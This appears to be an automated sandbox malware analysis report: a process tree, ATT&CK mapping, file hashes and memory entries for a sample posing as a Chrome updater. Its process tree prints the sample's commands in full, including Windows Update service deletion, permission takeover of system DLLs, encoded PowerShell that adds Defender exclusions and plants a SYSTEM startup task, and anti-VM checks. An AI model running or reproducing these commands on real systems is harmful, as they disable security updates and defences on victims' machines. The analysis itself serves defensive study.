"\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:3336

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:3472

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:3460

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:3440

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:5116

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:4384

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:2456

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:764

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:4444

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:3148

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:5096

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:5020

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4044

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:4580

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:2252

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1548

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1584

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:1444

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:4264

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:2416

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:2176

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:1776

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:1368

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:1984

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of WriteProcessMemory
PID:2224

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3468

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:508

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4820

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAbwAjAD4AIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBwAG8AdwBlAHIAcwBoAGUAbABsACcAIAAtAEEAcgBnAHUAbQBlAG4AdAAgACcALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIAAiAFAAQQBBAGoAQQBHAFkAQQBlAGcAQQBqAEEARAA0AEEASQBBAEIAVABBAEgAUQBBAFkAUQBCAHkAQQBIAFEAQQBMAFEAQgBRAEEASABJAEEAYgB3AEIAagBBAEcAVQBBAGMAdwBCAHoAQQBDAEEAQQBMAFEAQgBHAEEARwBrAEEAYgBBAEIAbABBAEYAQQBBAFkAUQBCADAAQQBHAGcAQQBJAEEAQQBuAEEARQBNAEEATwBnAEIAYwBBAEYAQQBBAGMAZwBCAHYAQQBHAGMAQQBjAGcAQgBoAEEARwAwAEEASQBBAEIARwBBAEcAawBBAGIAQQBCAGwAQQBIAE0AQQBYAEEAQgBIAEEARwA4AEEAYgB3AEIAbgBBAEcAdwBBAFoAUQBCAGMAQQBFAE0AQQBhAEEAQgB5AEEARwA4AEEAYgBRAEIAbABBAEYAdwBBAGQAUQBCAHcAQQBHAFEAQQBZAFEAQgAwAEEARwBVAEEAYwBnAEEAdQBBAEcAVQBBAGUAQQBCAGwAQQBDAGMAQQBJAEEAQQB0AEEARgBZAEEAWgBRAEIAeQBBAEcASQBBAEkAQQBCAFMAQQBIAFUAQQBiAGcAQgBCAEEASABNAEEASQBBAEEAOABBAEMATQBBAGQAdwBCAG8AQQBDAE0AQQBQAGcAQQA9ACIAJwApACAAPAAjAHAAYwB1ACMAPgAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABTAHQAYQByAHQAdQBwACkAIAA8ACMAZABsAGIAIwA+ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABpAHMAYQBsAGwAbwB3AEgAYQByAGQAVABlAHIAbQBpAG4AYQB0AGUAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAE8AbgBJAGQAbABlAEUAbgBkACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAEQAYQB5AHMAIAAxADAAMAAwACkAKQAgADwAIwB0AGwAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwBxAHAAZAAjAD4AOwAgAEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADgAMwA1AGYAMgA0ADMAZAAwADAAMwBjADUAYQAzADIAYwAzAGYAMQBkADQAYwBkADUAMAA3ADEAMwBhADQANgBmAGMAZgA3ADAAMQAyADEAYwBmAGQAZQAyADcAOABmADAAYgBjADkAOABlAGYAOQA1ADYANwBhAGYANgBkADQALgBlAHgAZQAnACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgADwAIwBxAHgAZwBvACMAPgA7ACAAUwB0AGEAcgB0AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgADwAIwB0AGsAcQBtACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAOwA="
3⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2016

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAGYAegAjAD4AIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAIAA8ACMAdwBoACMAPgA="
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2292

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2996

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe"
3⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4256

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAbAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGIAaQBuAGwAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAZQBqAHkAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZgB5AHEAIwA+AA=="
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3296

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:4308

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:5072

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:5068

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:3932

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
PID:3792

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:916

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
5⤵
- Modifies registry key
PID:60

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
5⤵
- Modifies registry key
PID:1036

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
5⤵
- Modifies registry key
PID:1136

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
5⤵
- Modifies registry key
PID:1816

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
5⤵
- Modifies registry key
PID:4484

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3232

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2016

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:4644

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
5⤵
PID:4576

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
5⤵
PID:1756

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
5⤵
PID:2252

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
5⤵
PID:2248

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
5⤵
PID:1504

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
5⤵
PID:1608

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
5⤵
PID:2512

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:5032

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:4680

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:4708

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
PID:4152

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
PID:4520

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
PID:4416

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
PID:4452

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
PID:3200

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe "symchwttopby"
4⤵
PID:688

C:\Windows\explorer.exe
C:\Windows\explorer.exe cyzzjzyko1 GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqN5dCL6SdfpGQxdbsBsqueaxRnQzTx2Bqmg+8Hm/cXMESqb4c3Os26fGj23Hqsnl0qmcpNr8N8RD0Uj65Is/XzsC3UFIPpYz7Zp9mKjXqYW+xHlpEMJ8pitovpD3AlrEcYhafjTHJIBsyQCmYqS8DwlNaC3+8ctTQ5gWGWPwhQ4m7w5ntgK8u6m/StfnNPDdr+VwS4s25pICn3Q/Dq0WEk/j+SBlrEi93dXqUBShtLfUbnT4w5YQhLxDVbXc7xoFDIPd01rv+1vwAaan4sl2k1YkrvCpkMy2cu5BYO8sYd8sc8dLcQPq/swWuhKRRVQuprYmKwuUqhwRP67Zf25Cl8f5Aj8hcPlJi/lLUWAYA2zkuAQ44ZBgDhLCa35VZbAKe
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:316

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
7.3MB

MD5
f9ab75206a1dfc85b69ee04068cd34cf

SHA1
3b1a85c8dd2b7080b2e3eb3aa950992886b3c89e

SHA256
835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4

SHA512
8eb56f43b21d728251a5a8e28ad7f6165a0ccfae37d6f7c43ad636fb1b955ca676c4576429f239c086ad22bbab1187d4e68e63c950b260ea5594ee07df3f4593

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
7.3MB

MD5
f9ab75206a1dfc85b69ee04068cd34cf

SHA1
3b1a85c8dd2b7080b2e3eb3aa950992886b3c89e

SHA256
835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4

SHA512
8eb56f43b21d728251a5a8e28ad7f6165a0ccfae37d6f7c43ad636fb1b955ca676c4576429f239c086ad22bbab1187d4e68e63c950b260ea5594ee07df3f4593

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
8592ba100a78835a6b94d5949e13dfc1

SHA1
63e901200ab9a57c7dd4c078d7f75dcd3b357020

SHA256
fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

SHA512
87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1948af28fa003151a27ba922c75259be

SHA1
fc153b065cc60274a51e4923e8d0595927af1305

SHA256
77bda439c30b2e2883d478a0df8b97199f467eca4eb0d115eea52557b1dc9deb

SHA512
a76ff5debddf5a8fc2020cbfc0ff2e6b0664e47be3b2605ef3060a1bb13b1d59387c9f8e6539c604c3dac609bea1621629d6a61c046dbf330c3c8cdeca625abf

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
5d574dc518025fad52b7886c1bff0e13

SHA1
68217a5f9e9a64ca8fed9eefa4171786a8f9f8f7

SHA256
755c4768f6e384030805284ab88689a325431667e9ab11d9aeaa55e9739742f2

SHA512
21de152e07d269b265dae58d46e8c68a3268b2f78d771d4fc44377a14e0c6e73aadae923dcfd34ce2ef53c2eaa53d4df8f281d9b8a627edee213946c9ef37d13

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e2d46bffd1d9300639cac360fac02cb4

SHA1
fd2b4813c8ab610294b6759192ca05bad5bb8958

SHA256
94ffe575e92d3bab6173fd7eca207088c8b374de79d93dddf45101048c0bead3

SHA512
54b1ea5f5bb1d8a402fbb5ab8f0d7bec9aa47cb48a4c411ee8032648a97efe466d9d8e7f87c5ac288e994eeb47e034eac94bb3631955f9ba2270d687e7620535

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
2KB

MD5
c5227366b7a688ff23b01788718251aa

SHA1
9795262e79c832ba49c744fcd1b1794c0ffb5c6a

SHA256
789abfd744b03d07fac02be7177c535989ea9e92b9db32fb1360cdfd083a1f48

SHA512
8b9560fa2265f74aec7bb7b96e5a7dba789edc4166e58af9994a1ee95fa42b22a7539be804f4fcf3d5a9e657be020087a343b030fee6aaddbb67b1134810cfbe

Download Submit
memory/60-450-0x0000000000000000-mapping.dmp

Download
memory/316-469-0x000000014036EAC4-mapping.dmp

Download
memory/316-470-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/316-471-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/316-468-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/316-472-0x0000000001610000-0x0000000001630000-memory.dmp

Filesize
128KB

Download
memory/316-485-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/316-486-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/508-194-0x0000000000000000-mapping.dmp

Download
memory/688-457-0x0000022D34320000-0x0000022D34327000-memory.dmp

Filesize
28KB

Download
memory/688-463-0x0000022D345F0000-0x0000022D345F6000-memory.dmp

Filesize
24KB

Download
memory/764-196-0x0000000000000000-mapping.dmp

Download
memory/916-449-0x0000000000000000-mapping.dmp

Download
memory/1036-452-0x0000000000000000-mapping.dmp

Download
memory/1136-453-0x0000000000000000-mapping.dmp

Download
memory/1368-275-0x0000000000000000-mapping.dmp

Download
memory/1444-257-0x0000000000000000-mapping.dmp

Download
memory/1504-482-0x0000000000000000-mapping.dmp

Download
memory/1548-255-0x0000000000000000-mapping.dmp

Download
memory/1584-256-0x0000000000000000-mapping.dmp

Download
memory/1608-483-0x0000000000000000-mapping.dmp

Download
memory/1756-479-0x0000000000000000-mapping.dmp

Download
memory/1776-273-0x0000000000000000-mapping.dmp

Download
memory/1816-454-0x0000000000000000-mapping.dmp

Download
memory/1984-276-0x0000000000000000-mapping.dmp

Download
memory/2016-466-0x0000000000000000-mapping.dmp

Download
memory/2016-203-0x0000000000000000-mapping.dmp

Download
memory/2176-271-0x0000000000000000-mapping.dmp

Download
memory/2224-186-0x0000000000000000-mapping.dmp

Download
memory/2248-481-0x0000000000000000-mapping.dmp

Download
memory/2252-254-0x0000000000000000-mapping.dmp

Download
memory/2252-480-0x0000000000000000-mapping.dmp

Download
memory/2416-269-0x0000000000000000-mapping.dmp

Download
memory/2456-193-0x0000000000000000-mapping.dmp

Download
memory/2512-484-0x0000000000000000-mapping.dmp

Download
memory/2996-272-0x0000000000400000-0x00000000010C4000-memory.dmp

Filesize
12.8MB

Download
memory/2996-274-0x00007FFC4DF30000-0x00007FFC4E10B000-memory.dmp

Filesize
1.9MB

Download
memory/2996-268-0x0000000000400000-0x00000000010C4000-memory.dmp

Filesize
12.8MB

Download
memory/2996-266-0x0000000000000000-mapping.dmp

Download
memory/2996-277-0x0000000000400000-0x00000000010C4000-memory.dmp

Filesize
12.8MB

Download
memory/2996-278-0x00007FFC4DF30000-0x00007FFC4E10B000-memory.dmp

Filesize
1.9MB

Download
memory/3148-199-0x0000000000000000-mapping.dmp

Download
memory/3200-447-0x0000000000000000-mapping.dmp

Download
memory/3232-458-0x0000000000000000-mapping.dmp

Download
memory/3296-307-0x000001B6FB140000-0x000001B6FB15C000-memory.dmp

Filesize
112KB

Download
memory/3296-313-0x000001B6FB340000-0x000001B6FB3F9000-memory.dmp

Filesize
740KB

Download
memory/3296-346-0x000001B6FB160000-0x000001B6FB16A000-memory.dmp

Filesize
40KB

Download
memory/3296-289-0x0000000000000000-mapping.dmp

Download
memory/3336-185-0x0000000000000000-mapping.dmp

Download
memory/3440-190-0x0000000000000000-mapping.dmp

Download
memory/3460-189-0x0000000000000000-mapping.dmp

Download
memory/3468-188-0x0000000000000000-mapping.dmp

Download
memory/3472-187-0x0000000000000000-mapping.dmp

Download
memory/3792-448-0x0000000000000000-mapping.dmp

Download
memory/3932-446-0x0000000000000000-mapping.dmp

Download
memory/4044-202-0x0000000000000000-mapping.dmp

Download
memory/4152-152-0x00000218A9930000-0x00000218A99A6000-memory.dmp

Filesize
472KB

Download
memory/4152-149-0x00000218A9780000-0x00000218A97A2000-memory.dmp

Filesize
136KB

Download
memory/4152-143-0x0000000000000000-mapping.dmp

Download
memory/4152-439-0x0000000000000000-mapping.dmp

Download
memory/4256-455-0x0000028666400000-0x0000028666412000-memory.dmp

Filesize
72KB

Download
memory/4256-451-0x000002864DBC0000-0x000002864DBC6000-memory.dmp

Filesize
24KB

Download
memory/4264-265-0x0000000000000000-mapping.dmp

Download
memory/4308-438-0x0000000000000000-mapping.dmp

Download
memory/4384-192-0x0000000000000000-mapping.dmp

Download
memory/4416-443-0x0000000000000000-mapping.dmp

Download
memory/4444-197-0x0000000000000000-mapping.dmp

Download
memory/4452-445-0x0000000000000000-mapping.dmp

Download
memory/4472-198-0x0000000000000000-mapping.dmp

Download
memory/4484-456-0x0000000000000000-mapping.dmp

Download
memory/4492-134-0x00000282FE840000-0x00000282FEC5E000-memory.dmp

Filesize
4.1MB

Download
memory/4492-136-0x0000028299860000-0x0000028299C7E000-memory.dmp

Filesize
4.1MB

Download
memory/4520-442-0x0000000000000000-mapping.dmp

Download
memory/4576-478-0x0000000000000000-mapping.dmp

Download
memory/4580-253-0x0000000000000000-mapping.dmp

Download
memory/4644-475-0x0000000000000000-mapping.dmp

Download
memory/4680-476-0x0000000000000000-mapping.dmp

Download
memory/4708-474-0x0000000000000000-mapping.dmp

Download
memory/4764-128-0x0000000000400000-0x00000000010C4000-memory.dmp

Filesize
12.8MB

Download
memory/4764-135-0x00007FFC4DF30000-0x00007FFC4E10B000-memory.dmp

Filesize
1.9MB

Download
memory/4764-129-0x0000000000400000-0x00000000010C4000-memory.dmp

Filesize
12.8MB

Download
memory/4764-127-0x0000000000400000-0x00000000010C4000-memory.dmp

Filesize
12.8MB

Download
memory/4820-195-0x0000000000000000-mapping.dmp

Download
memory/5020-201-0x0000000000000000-mapping.dmp

Download
memory/5032-477-0x0000000000000000-mapping.dmp

Download
memory/5068-444-0x0000000000000000-mapping.dmp

Download
memory/5072-441-0x0000000000000000-mapping.dmp

Download
memory/5096-200-0x0000000000000000-mapping.dmp

Download
memory/5116-191-0x0000000000000000-mapping.dmp

Download